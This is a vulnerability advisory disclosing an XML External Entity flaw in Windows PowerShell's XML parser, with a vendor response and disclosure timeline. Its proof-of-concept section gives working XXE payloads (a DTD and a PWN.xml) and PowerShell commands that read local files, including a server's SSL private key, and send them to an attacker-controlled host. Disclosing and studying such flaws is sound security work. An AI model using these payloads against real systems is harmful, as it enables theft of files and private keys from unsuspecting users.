Microsoft PowerShell XXE Injection

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-POWERSHELL-XML-EXTERNAL-ENTITY.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
=================  
www.microsoft.com  
  
  
  
Product:  
===========  
PowerShell  
  
  
PowerShell (including Windows PowerShell and PowerShell Core) is a task  
automation and configuration management framework  
from Microsoft, consisting of a command-line shell and associated scripting  
language built on the .NET Framework.  
PowerShell provides full access to COM and WMI, enabling administrators to  
perform administrative tasks on both local  
and remote Windows systems as well as WS-Management and CIM enabling  
management of remote Linux systems and network devices.  
  
  
  
Vulnerability Type:  
===================  
XML External Entity  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
PowerShell can read and process XML files, this is by design. However, its  
XML parser is vulnerable to XXE attacks, if a user reads a  
malicious XML file using powershells XML API. This can potentially allow  
local files to be accessed and exfiltrated to an attackers server.  
  
**MSRC response: "behavior by design for parsing".**  
  
Issue is that this setting is default, this puts 'unknowing' users at risk  
for XXE attacks and file disclosure. After running PS to process an  
Evil XML file from Windows CL you may see errors like:  
  
"Cannot convert value "System.Object[]" to type "System.Xml.XmlDocument".  
Error: "Invalid character in the given encoding"  
  
OR  
  
"Exception calling "Load" with "1" argument(s): "Unexpected DTD  
declaration."  
  
However, the Local to Remote file access theft still works as planned...  
  
Tested Windows 7 SP1  
  
  
PS C:\> $psversiontable  
  
Name Value  
---- -----  
CLRVersion 2.0.50727.5485  
BuildVersion 6.1.7601.17514  
PSVersion 2.0  
  
  
  
Exploit POC code(s):  
===================  
  
Scenarios A/B:  
  
  
A) Reads XML from Web Server:  
-------------------------------  
  
Access 'c:\Windows\msdfmap.ini' used by MS ADO Remote Service.  
  
  
python -m SimpleHTTPServer 8080 (ATTACKER-SERVER)  
  
  
'payload.dtd' (ATTACKER-SERVER)  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://  
[ATTACKER-SERVER]:8080?%file;'>">  
%all;  
  
  
  
'PWN.xml' (ATTACKER-SERVER)  
  
<?xml version="1.0"?>  
<!DOCTYPE HYP3RLINX [  
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">  
<!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
Run from PS CL to load XML:  
  
$vuln = New-Object System.Xml.XmlDocument  
$vuln.Load("http://[ATTACKER-SERVER]/PWN.xml")  
  
  
Users 'msdfmap.ini' file is accessed by attacker.  
  
  
B) Read XML from remote share in LAN:  
----------------------------------------  
  
Example uses three different computers.  
  
VICTIM-COMPUTER local machine using Powershell to read XML.  
REMOTE-SHARE is third computer in LAN where 'PWN.xml' is read from.  
ATTACKER-SERVER the place where files stolen from VICTIM-COMPUTER will be  
sent.  
  
Assuming user is running XAMPP, try target the servers SSL Private key.  
  
[ATTACKER-SERVER]  
  
python -m SimpleHTTPServer 8080  
  
  
'payload.dtd' (Host on ATTACKER-SERVER)  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM 'http://  
[ATTACKER-SERVER]:8080?%file;'>">  
%all;  
  
  
'PWN.xml' (Host on REMOTE-SHARE)  
  
<?xml version="1.0"?>  
<!DOCTYPE HYP3RLINX [  
<!ENTITY % file SYSTEM "C:\xampp\apache\conf\ssl.key\server.key">  
<!ENTITY % dtd SYSTEM "http://[ATTACKER-SERVER]:8080/payload.dtd">  
%dtd;]>  
<pwn>&send;</pwn>  
  
  
  
[VICTIM-COMPUTER]  
  
Run these examples from PowerShell Command Line.  
  
'VULN.ps1'  
  
Get-WinEvent -FilterXml ([xml](Get-Content  
\\[REMOTE-SHARE]\home\username\PWN.xml))  
  
OR  
  
$poc='\\[REMOTE-SHARE]\home\username\PWN.xml'  
$test=(Get-Content $poc) -as [Xml]  
  
  
Enjoy your private key file!  
  
  
  
Disclosure Timeline:  
===========================================================  
Vendor Notification: November 14, 2016  
Vendor: "behavior by design for parsing." November 23, 2016  
December 5, 2016 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`